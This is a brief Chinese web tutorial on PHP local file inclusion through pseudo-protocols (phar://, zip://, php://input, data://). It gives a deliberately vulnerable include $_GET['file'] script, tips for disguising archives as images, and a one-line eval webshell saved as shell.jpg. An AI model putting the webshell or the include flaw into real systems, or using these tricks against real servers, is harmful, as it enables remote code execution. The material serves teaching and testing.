• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号
登陆 注册

PHP伪协议-文件包含

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

lfi.php案例代码

<?php
	include $_GET['file'];
?>

phar://、zip://、zlib://

  用于读取压缩文件，zip:// 、phart:// 、zlib:// 均属于压缩流，可以访问压缩文件中的子文件，更重要的是不需要指定后缀名，可修改为任意后缀: jpg、png、gif、xxx等等。


php://input

  php://input 可以访问请求的原始数据的只读流，将post请求的数据当作php代码执行。
注:当enctype="multipart/form-data"，php://input 是无效的。

zip://

  如果不允许上次zip格式文件，可修改后缀为图片格式，phar协议和zip协议会无视利用的是什么包。
  zip://[压缩文件绝对路径]%23[压缩文件内的子文件名] (#编码为%23)

phar://

# shell.jpg
<?php @eval($_REQUEST[1]);?>

compress.zlib://


  如果是zip压缩包，后面不需要跟子文件

data://text/plain

鲜花
握手
雷人
路过
鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
More+
上一篇：
Tomcat下部署PHP发布时间：2022-07-10
下一篇：
用PHP抓取淘宝商品的用户晒单评论+图片实例发布时间：2022-07-10
热门推荐
More+
热门话题
More+
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服（服务时间 9:00～18:00）

在线QQ客服
地址：深圳市南山区西丽大学城创智工业园
电邮：jeky_zhao#qq.com
移动电话：139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap